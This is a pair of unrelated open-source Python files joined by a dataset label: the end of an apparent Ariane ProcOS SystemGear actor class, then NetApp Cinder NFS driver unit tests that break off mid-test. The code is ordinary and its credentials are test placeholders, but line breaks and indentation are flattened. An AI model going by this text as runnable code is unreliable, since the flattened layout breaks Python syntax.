gear_name='procos_system_gear@'+str(SystemGear.hostname), gear_description='Ariane ProcOS system gear for '+str(SystemGear.hostname), gear_admin_queue='ariane.community.plugin.procos.gears.cache.system_gear@'+str(SystemGear.hostname), running=False ) self.sleeping_period = config.sleeping_period self.service = None self.service_name = 'system_procos@'+str(SystemGear.hostname)+' gear' component_type = SystemGear.config.system_context.os_type.name + " - " + \ SystemGear.config.system_context.os_type.architecture SystemGear.domino_activator = DominoActivator({'type': 'Z0MQ'}) self.component = SystemComponent.start( attached_gear_id=self.gear_id(), hostname=SystemGear.hostname, component_type=component_type, system_gear_actor_ref=self.actor_ref, domino_activator=SystemGear.domino_activator, domino_topic=SystemGear.domino_component_topic, config=config ).proxy() self.directory_gear = DirectoryGear.start().proxy() self.mapping_gear = MappingGear.start().proxy() self.sync_in_progress = False def synchronize_with_ariane_dbs(self): LOGGER.debug("SystemGear.synchronize_with_ariane_dbs - sync db") self.sync_in_progress = True self.directory_gear.synchronize_with_ariane_directories(self.component).get() self.mapping_gear.synchronize_with_ariane_mapping(self.component).get() self.sync_in_progress = False def init_with_ariane_dbs(self): LOGGER.debug("SystemGear.init_with_ariane_dbs - Initializing...") self.directory_gear.init_ariane_directories(self.component).get() self.mapping_gear.synchronize_with_ariane_mapping(self.component).get() # self.component.sniff(synchronize_with_ariane_dbs=False).get() # self.directory_gear.synchronize_with_ariane_directories(self.component).get() # self.mapping_gear.synchronize_with_ariane_mapping(self.component).get() LOGGER.info("SystemGear.init_with_ariane_dbs - Initialization done.") def run(self): LOGGER.debug("SystemGear.run") if self.sleeping_period is not None and self.sleeping_period > 0: while self.running: time.sleep(self.sleeping_period) if self.running: if not self.sync_in_progress: self.component.sniff().get() else: LOGGER.warn("SystemGear.run - wait last sync to be completed !") def on_start(self): LOGGER.debug("SystemGear.on_start") self.cache(running=self.running) self.init_with_ariane_dbs() self.running = True self.cache(running=self.running) self.service = threading.Thread(target=self.run, name=self.service_name) self.service.start() def on_stop(self): LOGGER.debug("SystemGear.on_stop") try: if self.running: self.running = False self.cache(running=self.running) self.service = None self.component.stop().get() self.directory_gear.stop().get() self.mapping_gear.stop().get() self.cached_gear_actor.remove().get() SystemGear.domino_activator.stop() except Exception as e: LOGGER.error(e.__str__()) LOGGER.debug(traceback.format_exc()) def on_failure(self, exception_type, exception_value, traceback_): LOGGER.debug("SystemGear.on_failure") LOGGER.error("SystemGear.on_failure - " + exception_type.__str__() + "/" + exception_value.__str__()) LOGGER.error("SystemGear.on_failure - " + traceback_.format_exc()) try: if self.running: self.running = False self.cache(running=self.running) self.service = None self.component.stop().get() self.directory_gear.stop().get() self.mapping_gear.stop().get() self.cached_gear_actor.remove().get() SystemGear.domino_activator.stop() except Exception as e: LOGGER.error(e.__str__()) LOGGER.debug(traceback.format_exc()) def gear_start(self): LOGGER.debug("SystemGear.gear_start") if self.service is not None: self.running = True self.service = threading.Thread(target=self.run, name=self.service_name) self.service.start() self.cache(running=self.running) LOGGER.info('procos_system_gear@'+str(SystemGear.hostname)+' has been started') else: self.on_start() LOGGER.info('procos_system_gear@'+str(SystemGear.hostname)+' has been restarted') def gear_stop(self): LOGGER.debug("SystemGear.gear_stop") if self.running: self.running = False self.cache(running=self.running) LOGGER.info('procos_system_gear@'+str(SystemGear.hostname)+' has been stopped')
codeparrot/github-code-clean
# Copyright (c) 2012 NetApp, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """Unit tests for the NetApp-specific NFS driver module.""" import itertools import os import shutil import unittest from lxml import etree import mock from mox3 import mox as mox_lib import six from cinder import exception from cinder.image import image_utils from cinder import test from cinder.tests.unit.volume.drivers.netapp.dataontap.client import ( fake_api as netapp_api) from cinder import utils as cinder_utils from cinder.volume import configuration as conf from cinder.volume.drivers.netapp import common from cinder.volume.drivers.netapp.dataontap import (nfs_7mode as netapp_nfs_7mode) from cinder.volume.drivers.netapp.dataontap import (nfs_cmode as netapp_nfs_cmode) from cinder.volume.drivers.netapp.dataontap.client import client_7mode from cinder.volume.drivers.netapp.dataontap.client import client_base from cinder.volume.drivers.netapp.dataontap.client import client_cmode from cinder.volume.drivers.netapp.dataontap import nfs_base from cinder.volume.drivers.netapp.dataontap import ssc_cmode from cinder.volume.drivers.netapp import utils from oslo_config import cfg CONF = cfg.CONF CONNECTION_INFO = { 'hostname': 'fake_host', 'transport_type': 'https', 'port': 443, 'username': 'admin', 'password': 'passw0rd', } FAKE_CONNECTION_INFO_HTTP = { 'hostname': '127.0.0.1', 'transport_type': 'http', 'port': None, 'username': 'admin', 'password': 'pass', 'vserver': 'openstack', } FAKE_CONNECTION_INFO_HTTPS = dict(FAKE_CONNECTION_INFO_HTTP, transport_type='https') FAKE_7MODE_CONNECTION_INFO_HTTP = dict(FAKE_CONNECTION_INFO_HTTP) FAKE_7MODE_CONNECTION_INFO_HTTP.pop('vserver') FAKE_7MODE_CONNECTION_INFO_HTTP['vfiler'] = 'test_vfiler' FAKE_7MODE_CONNECTION_INFO_HTTPS = dict(FAKE_7MODE_CONNECTION_INFO_HTTP, transport_type='https') SEVEN_MODE_CONNECTION_INFO = dict( itertools.chain(CONNECTION_INFO.items(), {'vfiler': 'test_vfiler'}.items())) FAKE_VSERVER = 'fake_vserver' def create_configuration(): configuration = mox_lib.MockObject(conf.Configuration) configuration.append_config_values(mox_lib.IgnoreArg()) configuration.max_over_subscription_ratio = 20.0 configuration.reserved_percentage = 0 configuration.nfs_mount_point_base = '/mnt/test' configuration.nfs_mount_options = None configuration.nas_mount_options = None configuration.nfs_used_ratio = .95 configuration.nfs_oversub_ratio = 1.0 configuration.netapp_server_hostname = CONNECTION_INFO['hostname'] configuration.netapp_transport_type = CONNECTION_INFO['transport_type'] configuration.netapp_server_port = CONNECTION_INFO['port'] configuration.netapp_login = CONNECTION_INFO['username'] configuration.netapp_password = CONNECTION_INFO['password'] configuration.netapp_vfiler = SEVEN_MODE_CONNECTION_INFO['vfiler'] return configuration class FakeVolume(object): def __init__(self, host='', size=0): self.size = size self.id = hash(self) self.name = None self.host = host def __getitem__(self, key): return self.__dict__[key] def __setitem__(self, key, val): self.__dict__[key] = val class FakeSnapshot(object): def __init__(self, volume_size=0): self.volume_name = None self.name = None self.volume_id = None self.volume_size = volume_size self.user_id = None self.status = None def __getitem__(self, key): return self.__dict__[key] class FakeResponse(object): def __init__(self, status): """Initialize FakeResponse. :param status: Either 'failed' or 'passed' """ self.Status = status if status == 'failed': self.Reason = 'Sample error' class NetAppCmodeNfsDriverTestCase(test.TestCase): """Test direct NetApp C Mode driver.""" TEST_NFS_HOST = 'nfs-host1' TEST_NFS_SHARE_PATH = '/export' TEST_NFS_EXPORT1 = '%s:%s' % (TEST_NFS_HOST, TEST_NFS_SHARE_PATH) TEST_NFS_EXPORT2 = 'nfs-host2:/export' TEST_MNT_POINT = '/mnt/nfs' def setUp(self): super(NetAppCmodeNfsDriverTestCase, self).setUp() self._custom_setup() def _custom_setup(self): self.mock_object(utils, 'OpenStackInfo') kwargs = {} kwargs['netapp_mode'] = 'proxy' kwargs['configuration'] = create_configuration() # Inject fake netapp_lib module classes. netapp_api.mock_netapp_lib([client_cmode, client_base]) self.mock_object(common.na_utils, 'check_netapp_lib') self.mock_object(nfs_base, 'LOG') self._driver = netapp_nfs_cmode.NetAppCmodeNfsDriver(**kwargs) self._driver.zapi_client = mock.Mock() config = self._driver.configuration config.netapp_vserver = FAKE_VSERVER def test_create_snapshot(self): """Test snapshot can be created and deleted.""" mox = self.mox drv = self._driver mox.StubOutWithMock(drv, '_clone_backing_file_for_volume') drv._clone_backing_file_for_volume(mox_lib.IgnoreArg(), mox_lib.IgnoreArg(), mox_lib.IgnoreArg()) mox.ReplayAll() drv.create_snapshot(FakeSnapshot()) mox.VerifyAll() def test_create_volume_from_snapshot(self): """Tests volume creation from snapshot.""" drv = self._driver mox = self.mox location = '127.0.0.1:/nfs' host = 'hostname@backend#' + location volume = FakeVolume(host, 1) snapshot = FakeSnapshot(1) expected_result = {'provider_location': location} mox.StubOutWithMock(drv, '_clone_backing_file_for_volume') mox.StubOutWithMock(drv, '_get_volume_location') mox.StubOutWithMock(drv, 'local_path') mox.StubOutWithMock(drv, '_discover_file_till_timeout') mox.StubOutWithMock(drv, '_set_rw_permissions') drv._clone_backing_file_for_volume(mox_lib.IgnoreArg(), mox_lib.IgnoreArg(), mox_lib.IgnoreArg()) drv._get_volume_location(mox_lib.IgnoreArg()).AndReturn(location) drv.local_path(mox_lib.IgnoreArg()).AndReturn('/mnt') drv._discover_file_till_timeout(mox_lib.IgnoreArg()).AndReturn(True) drv._set_rw_permissions(mox_lib.IgnoreArg()) mox.ReplayAll() self.mock_object(drv, '_do_qos_for_volume') self.mock_object(utils, 'get_volume_extra_specs') loc = drv.create_volume_from_snapshot(volume, snapshot) self.assertEqual(expected_result, loc) mox.VerifyAll() def _prepare_delete_snapshot_mock(self, snapshot_exists): drv = self._driver mox = self.mox mox.StubOutWithMock(drv, '_get_provider_location') mox.StubOutWithMock(drv, '_volume_not_present') mox.StubOutWithMock(drv, '_post_prov_deprov_in_ssc') if snapshot_exists: mox.StubOutWithMock(drv, '_execute') mox.StubOutWithMock(drv, '_get_volume_path') drv._get_provider_location(mox_lib.IgnoreArg()) drv._get_provider_location(mox_lib.IgnoreArg()) drv._volume_not_present(mox_lib.IgnoreArg(), mox_lib.IgnoreArg())\ .AndReturn(not snapshot_exists) if snapshot_exists: drv._get_volume_path(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()) drv._execute('rm', None, run_as_root=True) drv._post_prov_deprov_in_ssc(mox_lib.IgnoreArg()) mox.ReplayAll() return mox def test_delete_existing_snapshot(self): drv = self._driver mox = self._prepare_delete_snapshot_mock(True) drv.delete_snapshot(FakeSnapshot()) mox.VerifyAll() def test_delete_missing_snapshot(self): drv = self._driver mox = self._prepare_delete_snapshot_mock(False) drv.delete_snapshot(FakeSnapshot()) mox.VerifyAll() @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup') @mock.patch.object(client_cmode.Client, '__init__', return_value=None) def test_do_setup(self, mock_client_init, mock_super_do_setup): context = mock.Mock() self._driver.do_setup(context) mock_client_init.assert_called_once_with(vserver=FAKE_VSERVER, **CONNECTION_INFO) mock_super_do_setup.assert_called_once_with(context) @mock.patch.object(nfs_base.NetAppNfsDriver, 'check_for_setup_error') @mock.patch.object(ssc_cmode, 'check_ssc_api_permissions') def test_check_for_setup_error(self, mock_ssc_api_permission_check, mock_super_check_for_setup_error): self._driver.zapi_client = mock.Mock() self._driver.check_for_setup_error() mock_ssc_api_permission_check.assert_called_once_with( self._driver.zapi_client) mock_super_check_for_setup_error.assert_called_once_with() def _prepare_clone_mock(self, status): drv = self._driver mox = self.mox volume = FakeVolume() setattr(volume, 'provider_location', '127.0.0.1:/nfs') drv.zapi_client = mox.CreateMockAnything() mox.StubOutWithMock(drv, '_get_host_ip') mox.StubOutWithMock(drv, '_get_export_path') mox.StubOutWithMock(drv, '_post_prov_deprov_in_ssc') drv.zapi_client.get_if_info_by_ip('127.0.0.1').AndReturn( self._prepare_info_by_ip_response()) drv.zapi_client.get_vol_by_junc_vserver('openstack', '/nfs').AndReturn( 'nfsvol') drv.zapi_client.clone_file('nfsvol', 'volume_name', 'clone_name', 'openstack') drv._get_host_ip(mox_lib.IgnoreArg()).AndReturn('127.0.0.1') drv._get_export_path(mox_lib.IgnoreArg()).AndReturn('/nfs') drv._post_prov_deprov_in_ssc(mox_lib.IgnoreArg()) return mox def _prepare_info_by_ip_response(self): res = """<attributes-list> <net-interface-info> <address>127.0.0.1</address> <administrative-status>up</administrative-status> <current-node>fas3170rre-cmode-01</current-node> <current-port>e1b-1165</current-port> <data-protocols> <data-protocol>nfs</data-protocol> </data-protocols> <dns-domain-name>none</dns-domain-name> <failover-group/> <failover-policy>disabled</failover-policy> <firewall-policy>data</firewall-policy> <home-node>fas3170rre-cmode-01</home-node> <home-port>e1b-1165</home-port> <interface-name>nfs_data1</interface-name> <is-auto-revert>false</is-auto-revert> <is-home>true</is-home> <netmask>255.255.255.0</netmask> <netmask-length>24</netmask-length> <operational-status>up</operational-status> <role>data</role> <routing-group-name>c10.63.165.0/24</routing-group-name> <use-failover-group>disabled</use-failover-group> <vserver>openstack</vserver> </net-interface-info></attributes-list>""" response_el = etree.XML(res) return netapp_api.NaElement(response_el).get_children() def test_clone_backing_file_for_volume(self): drv = self._driver mox = self._prepare_clone_mock('pass') mox.ReplayAll() volume_name = 'volume_name' clone_name = 'clone_name' volume_id = volume_name + six.text_type(hash(volume_name)) share = 'ip:/share' drv._clone_backing_file_for_volume(volume_name, clone_name, volume_id, share) mox.VerifyAll() def test_register_img_in_cache_noshare(self): volume = {'id': '1', 'name': 'testvol'} volume['provider_location'] = '10.61.170.1:/share/path' drv = self._driver mox = self.mox mox.StubOutWithMock(drv, '_do_clone_rel_img_cache') drv._do_clone_rel_img_cache('testvol', 'img-cache-12345', '10.61.170.1:/share/path', 'img-cache-12345') mox.ReplayAll() drv._register_image_in_cache(volume, '12345') mox.VerifyAll() def test_register_img_in_cache_with_share(self): volume = {'id': '1', 'name': 'testvol'} volume['provider_location'] = '10.61.170.1:/share/path' drv = self._driver mox = self.mox mox.StubOutWithMock(drv, '_do_clone_rel_img_cache') drv._do_clone_rel_img_cache('testvol', 'img-cache-12345', '10.61.170.1:/share/path', 'img-cache-12345') mox.ReplayAll() drv._register_image_in_cache(volume, '12345') mox.VerifyAll() def test_find_image_in_cache_no_shares(self): drv = self._driver drv._mounted_shares = [] result = drv._find_image_in_cache('image_id') if not result: pass else: self.fail('Return result is unexpected') def test_find_image_in_cache_shares(self): drv = self._driver mox = self.mox drv._mounted_shares = ['testshare'] mox.StubOutWithMock(drv, '_get_mount_point_for_share') mox.StubOutWithMock(os.path, 'exists') drv._get_mount_point_for_share('testshare').AndReturn('/mnt') os.path.exists('/mnt/img-cache-id').AndReturn(True) mox.ReplayAll() result = drv._find_image_in_cache('id') (share, file_name) = result[0] mox.VerifyAll() drv._mounted_shares.remove('testshare') if (share == 'testshare' and file_name == 'img-cache-id'): pass else: self.fail('Return result is unexpected') def test_find_old_cache_files_notexists(self): drv = self._driver mox = self.mox cmd = ['find', '/mnt', '-maxdepth', '1', '-name', 'img-cache*', '-amin', '+720'] setattr(drv.configuration, 'expiry_thres_minutes', 720) mox.StubOutWithMock(drv, '_get_mount_point_for_share') mox.StubOutWithMock(drv, '_execute') drv._get_mount_point_for_share(mox_lib.IgnoreArg()).AndReturn('/mnt') drv._execute(*cmd, run_as_root=True).AndReturn((None, '')) mox.ReplayAll() res = drv._find_old_cache_files('share') mox.VerifyAll() if len(res) == 0: pass else: self.fail('No files expected but got return values.') def test_find_old_cache_files_exists(self): drv = self._driver mox = self.mox cmd = ['find', '/mnt', '-maxdepth', '1', '-name', 'img-cache*', '-amin', '+720'] setattr(drv.configuration, 'expiry_thres_minutes', '720') files = '/mnt/img-id1\n/mnt/img-id2\n' r_files = ['img-id1', 'img-id2'] mox.StubOutWithMock(drv, '_get_mount_point_for_share') mox.StubOutWithMock(drv, '_execute') mox.StubOutWithMock(drv, '_shortlist_del_eligible_files') drv._get_mount_point_for_share('share').AndReturn('/mnt') drv._execute(*cmd, run_as_root=True).AndReturn((files, None)) drv._shortlist_del_eligible_files( mox_lib.IgnoreArg(), r_files).AndReturn(r_files) mox.ReplayAll() res = drv._find_old_cache_files('share') mox.VerifyAll() if len(res) == len(r_files): for f in res: r_files.remove(f) else: self.fail('Returned files not same as expected.') def test_delete_files_till_bytes_free_success(self): drv = self._driver mox = self.mox files = [('img-cache-1', 230), ('img-cache-2', 380)] mox.StubOutWithMock(drv, '_get_mount_point_for_share') mox.StubOutWithMock(drv, '_delete_file_at_path') drv._get_mount_point_for_share(mox_lib.IgnoreArg()).AndReturn('/mnt') drv._delete_file_at_path('/mnt/img-cache-2').AndReturn(True) drv._delete_file_at_path('/mnt/img-cache-1').AndReturn(True) mox.ReplayAll() drv._delete_files_till_bytes_free(files, 'share', bytes_to_free=1024) mox.VerifyAll() def test_clean_image_cache_exec(self): drv = self._driver mox = self.mox drv.configuration.thres_avl_size_perc_start = 20 drv.configuration.thres_avl_size_perc_stop = 50 drv._mounted_shares = ['testshare'] mox.StubOutWithMock(drv, '_find_old_cache_files') mox.StubOutWithMock(drv, '_delete_files_till_bytes_free') mox.StubOutWithMock(drv, '_get_capacity_info') drv._get_capacity_info('testshare').AndReturn((100, 19)) drv._find_old_cache_files('testshare').AndReturn(['f1', 'f2']) drv._delete_files_till_bytes_free( ['f1', 'f2'], 'testshare', bytes_to_free=31) mox.ReplayAll() drv._clean_image_cache() mox.VerifyAll() drv._mounted_shares.remove('testshare') if not drv.cleaning: pass else: self.fail('Clean image cache failed.') def test_clean_image_cache_noexec(self): drv = self._driver mox = self.mox drv.configuration.thres_avl_size_perc_start = 20 drv.configuration.thres_avl_size_perc_stop = 50 drv._mounted_shares = ['testshare'] mox.StubOutWithMock(drv, '_get_capacity_info') drv._get_capacity_info('testshare').AndReturn((100, 30, 70)) mox.ReplayAll() drv._clean_image_cache() mox.VerifyAll() drv._mounted_shares.remove('testshare') if not drv.cleaning: pass else: self.fail('Clean image cache failed.') def test_clone_image_fromcache(self): drv = self._driver mox = self.mox volume = {'name': 'vol', 'size': '20'} mox.StubOutWithMock(utils, 'get_volume_extra_specs') mox.StubOutWithMock(drv, '_find_image_in_cache') mox.StubOutWithMock(drv, '_do_clone_rel_img_cache') mox.StubOutWithMock(drv, '_post_clone_image') mox.StubOutWithMock(drv, '_is_share_clone_compatible') utils.get_volume_extra_specs(mox_lib.IgnoreArg()) drv._find_image_in_cache(mox_lib.IgnoreArg()).AndReturn( [('share', 'file_name')]) drv._is_share_clone_compatible(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn(True) drv._do_clone_rel_img_cache('file_name', 'vol', 'share', 'file_name') drv._post_clone_image(volume) mox.ReplayAll() drv.clone_image('', volume, ('image_location', None), {'id': 'image_id'}, '') mox.VerifyAll() def get_img_info(self, format): class img_info(object): def __init__(self, fmt): self.file_format = fmt return img_info(format) def test_clone_image_cloneableshare_nospace(self): drv = self._driver mox = self.mox volume = {'name': 'vol', 'size': '20'} mox.StubOutWithMock(utils, 'get_volume_extra_specs') mox.StubOutWithMock(drv, '_find_image_in_cache') mox.StubOutWithMock(drv, '_is_cloneable_share') mox.StubOutWithMock(drv, '_is_share_clone_compatible') utils.get_volume_extra_specs(mox_lib.IgnoreArg()) drv._find_image_in_cache(mox_lib.IgnoreArg()).AndReturn([]) drv._is_cloneable_share( mox_lib.IgnoreArg()).AndReturn('127.0.0.1:/share') drv._is_share_clone_compatible(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn(False) mox.ReplayAll() (prop, cloned) = drv.clone_image( '', volume, ('nfs://127.0.0.1:/share/img-id', None), {'id': 'image_id'}, '') mox.VerifyAll() if not cloned and not prop['provider_location']: pass else: self.fail('Expected not cloned, got cloned.') def test_clone_image_cloneableshare_raw(self): drv = self._driver mox = self.mox volume = {'name': 'vol', 'size': '20'} mox.StubOutWithMock(utils, 'get_volume_extra_specs') mox.StubOutWithMock(drv, '_find_image_in_cache') mox.StubOutWithMock(drv, '_is_cloneable_share') mox.StubOutWithMock(drv, '_get_mount_point_for_share') mox.StubOutWithMock(image_utils, 'qemu_img_info') mox.StubOutWithMock(drv, '_clone_backing_file_for_volume') mox.StubOutWithMock(drv, '_discover_file_till_timeout') mox.StubOutWithMock(drv, '_set_rw_permissions') mox.StubOutWithMock(drv, '_resize_image_file') mox.StubOutWithMock(drv, '_is_share_clone_compatible') utils.get_volume_extra_specs(mox_lib.IgnoreArg()) drv._find_image_in_cache(mox_lib.IgnoreArg()).AndReturn([]) drv._is_cloneable_share( mox_lib.IgnoreArg()).AndReturn('127.0.0.1:/share') drv._is_share_clone_compatible(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn(True) drv._get_mount_point_for_share(mox_lib.IgnoreArg()).AndReturn('/mnt') image_utils.qemu_img_info('/mnt/img-id', run_as_root=True).\ AndReturn(self.get_img_info('raw')) drv._clone_backing_file_for_volume( 'img-id', 'vol', share='127.0.0.1:/share', volume_id=None) drv._get_mount_point_for_share(mox_lib.IgnoreArg()).AndReturn('/mnt') drv._discover_file_till_timeout(mox_lib.IgnoreArg()).AndReturn(True) drv._set_rw_permissions('/mnt/vol') drv._resize_image_file({'name': 'vol'}, mox_lib.IgnoreArg()) mox.ReplayAll() drv.clone_image( '', volume, ('nfs://127.0.0.1:/share/img-id', None), {'id': 'image_id'}, '') mox.VerifyAll() def test_clone_image_cloneableshare_notraw(self): drv = self._driver mox = self.mox volume = {'name': 'vol', 'size': '20'} mox.StubOutWithMock(utils, 'get_volume_extra_specs') mox.StubOutWithMock(drv, '_find_image_in_cache') mox.StubOutWithMock(drv, '_is_cloneable_share') mox.StubOutWithMock(drv, '_get_mount_point_for_share') mox.StubOutWithMock(image_utils, 'qemu_img_info') mox.StubOutWithMock(drv, '_clone_backing_file_for_volume') mox.StubOutWithMock(drv, '_discover_file_till_timeout') mox.StubOutWithMock(drv, '_set_rw_permissions') mox.StubOutWithMock(drv, '_resize_image_file') mox.StubOutWithMock(image_utils, 'convert_image') mox.StubOutWithMock(drv, '_register_image_in_cache') mox.StubOutWithMock(drv, '_is_share_clone_compatible') utils.get_volume_extra_specs(mox_lib.IgnoreArg()) drv._find_image_in_cache(mox_lib.IgnoreArg()).AndReturn([]) drv._is_cloneable_share('nfs://127.0.0.1/share/img-id').AndReturn( '127.0.0.1:/share') drv._is_share_clone_compatible(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn(True) drv._get_mount_point_for_share('127.0.0.1:/share').AndReturn('/mnt') image_utils.qemu_img_info('/mnt/img-id', run_as_root=True).\ AndReturn(self.get_img_info('notraw')) image_utils.convert_image(mox_lib.IgnoreArg(), mox_lib.IgnoreArg(), 'raw', run_as_root=True) image_utils.qemu_img_info('/mnt/vol', run_as_root=True).\ AndReturn(self.get_img_info('raw')) drv._register_image_in_cache(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()) drv._get_mount_point_for_share('127.0.0.1:/share').AndReturn('/mnt') drv._discover_file_till_timeout(mox_lib.IgnoreArg()).AndReturn(True) drv._set_rw_permissions('/mnt/vol') drv._resize_image_file({'name': 'vol'}, mox_lib.IgnoreArg()) mox.ReplayAll() drv.clone_image( '', volume, ('nfs://127.0.0.1/share/img-id', None), {'id': 'image_id'}, '') mox.VerifyAll() def test_clone_image_file_not_discovered(self): drv = self._driver mox = self.mox volume = {'name': 'vol', 'size': '20'} mox.StubOutWithMock(utils, 'get_volume_extra_specs') mox.StubOutWithMock(drv, '_find_image_in_cache') mox.StubOutWithMock(drv, '_is_cloneable_share') mox.StubOutWithMock(drv, '_get_mount_point_for_share') mox.StubOutWithMock(image_utils, 'qemu_img_info') mox.StubOutWithMock(drv, '_clone_backing_file_for_volume') mox.StubOutWithMock(drv, '_discover_file_till_timeout') mox.StubOutWithMock(image_utils, 'convert_image') mox.StubOutWithMock(drv, '_register_image_in_cache') mox.StubOutWithMock(drv, '_is_share_clone_compatible') mox.StubOutWithMock(drv, '_do_qos_for_volume') mox.StubOutWithMock(drv, 'local_path') utils.get_volume_extra_specs(mox_lib.IgnoreArg()) drv._find_image_in_cache(mox_lib.IgnoreArg()).AndReturn([]) drv._is_cloneable_share('nfs://127.0.0.1/share/img-id').AndReturn( '127.0.0.1:/share') drv._is_share_clone_compatible(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn(True) drv._get_mount_point_for_share('127.0.0.1:/share').AndReturn('/mnt') image_utils.qemu_img_info('/mnt/img-id', run_as_root=True).\ AndReturn(self.get_img_info('notraw')) image_utils.convert_image(mox_lib.IgnoreArg(), mox_lib.IgnoreArg(), 'raw', run_as_root=True) image_utils.qemu_img_info('/mnt/vol', run_as_root=True).\ AndReturn(self.get_img_info('raw')) drv._register_image_in_cache(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()) drv._do_qos_for_volume(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()) drv.local_path(mox_lib.IgnoreArg()).AndReturn('/mnt/vol') drv._discover_file_till_timeout(mox_lib.IgnoreArg()).AndReturn(False) mox.ReplayAll() vol_dict, result = drv.clone_image( '', volume, ('nfs://127.0.0.1/share/img-id', None), {'id': 'image_id'}, '') mox.VerifyAll() self.assertFalse(result) self.assertFalse(vol_dict['bootable']) self.assertIsNone(vol_dict['provider_location']) def test_clone_image_resizefails(self): drv = self._driver mox = self.mox volume = {'name': 'vol', 'size': '20'} mox.StubOutWithMock(utils, 'get_volume_extra_specs') mox.StubOutWithMock(drv, '_find_image_in_cache') mox.StubOutWithMock(drv, '_is_cloneable_share') mox.StubOutWithMock(drv, '_get_mount_point_for_share') mox.StubOutWithMock(image_utils, 'qemu_img_info') mox.StubOutWithMock(drv, '_clone_backing_file_for_volume') mox.StubOutWithMock(drv, '_discover_file_till_timeout') mox.StubOutWithMock(drv, '_set_rw_permissions') mox.StubOutWithMock(drv, '_resize_image_file') mox.StubOutWithMock(image_utils, 'convert_image') mox.StubOutWithMock(drv, '_do_qos_for_volume') mox.StubOutWithMock(drv, '_register_image_in_cache') mox.StubOutWithMock(drv, '_is_share_clone_compatible') mox.StubOutWithMock(drv, 'local_path') utils.get_volume_extra_specs(mox_lib.IgnoreArg()) drv._find_image_in_cache(mox_lib.IgnoreArg()).AndReturn([]) drv._is_cloneable_share('nfs://127.0.0.1/share/img-id').AndReturn( '127.0.0.1:/share') drv._is_share_clone_compatible(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn(True) drv._get_mount_point_for_share('127.0.0.1:/share').AndReturn('/mnt') image_utils.qemu_img_info('/mnt/img-id', run_as_root=True).\ AndReturn(self.get_img_info('notraw')) image_utils.convert_image(mox_lib.IgnoreArg(), mox_lib.IgnoreArg(), 'raw', run_as_root=True) image_utils.qemu_img_info('/mnt/vol', run_as_root=True).\ AndReturn(self.get_img_info('raw')) drv._register_image_in_cache(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()) drv._do_qos_for_volume(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()) drv.local_path(mox_lib.IgnoreArg()).AndReturn('/mnt/vol') drv._discover_file_till_timeout(mox_lib.IgnoreArg()).AndReturn(True) drv._set_rw_permissions('/mnt/vol') drv._resize_image_file( mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndRaise(exception.InvalidResults()) mox.ReplayAll() vol_dict, result = drv.clone_image( '', volume, ('nfs://127.0.0.1/share/img-id', None), {'id': 'image_id'}, '') mox.VerifyAll() self.assertFalse(result) self.assertFalse(vol_dict['bootable']) self.assertIsNone(vol_dict['provider_location']) def test_is_cloneable_share_badformats(self): drv = self._driver strgs = ['10.61.666.22:/share/img', 'nfs://10.61.666.22:/share/img', 'nfs://10.61.666.22//share/img', 'nfs://com.netapp.com:/share/img', 'nfs://com.netapp.com//share/img', 'com.netapp.com://share/im\g', 'http://com.netapp.com://share/img', 'nfs://com.netapp.com:/share/img', 'nfs://com.netapp.com:8080//share/img' 'nfs://com.netapp.com//img', 'nfs://[ae::sr::ty::po]/img'] for strg in strgs: res = drv._is_cloneable_share(strg) if res: msg = 'Invalid format matched for url %s.' % strg self.fail(msg) def test_is_cloneable_share_goodformat1(self): drv = self._driver mox = self.mox strg = 'nfs://10.61.222.333/share/img' mox.StubOutWithMock(drv, '_check_share_in_use') drv._check_share_in_use(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn('share') mox.ReplayAll() drv._is_cloneable_share(strg) mox.VerifyAll() def test_is_cloneable_share_goodformat2(self): drv = self._driver mox = self.mox strg = 'nfs://10.61.222.333:8080/share/img' mox.StubOutWithMock(drv, '_check_share_in_use') drv._check_share_in_use(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn('share') mox.ReplayAll() drv._is_cloneable_share(strg) mox.VerifyAll() def test_is_cloneable_share_goodformat3(self): drv = self._driver mox = self.mox strg = 'nfs://com.netapp:8080/share/img' mox.StubOutWithMock(drv, '_check_share_in_use') drv._check_share_in_use(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn('share') mox.ReplayAll() drv._is_cloneable_share(strg) mox.VerifyAll() def test_is_cloneable_share_goodformat4(self): drv = self._driver mox = self.mox strg = 'nfs://netapp.com/share/img' mox.StubOutWithMock(drv, '_check_share_in_use') drv._check_share_in_use(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn('share') mox.ReplayAll() drv._is_cloneable_share(strg) mox.VerifyAll() def test_is_cloneable_share_goodformat5(self): drv = self._driver mox = self.mox strg = 'nfs://netapp.com/img' mox.StubOutWithMock(drv, '_check_share_in_use') drv._check_share_in_use(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn('share') mox.ReplayAll() drv._is_cloneable_share(strg) mox.VerifyAll() def test_check_share_in_use_no_conn(self): drv = self._driver share = drv._check_share_in_use(None, '/dir') if share: self.fail('Unexpected share detected.') def test_check_share_in_use_invalid_conn(self): drv = self._driver share = drv._check_share_in_use(':8989', '/dir') if share: self.fail('Unexpected share detected.') def test_check_share_in_use_incorrect_host(self): drv = self._driver mox = self.mox mox.StubOutWithMock(utils, 'resolve_hostname') 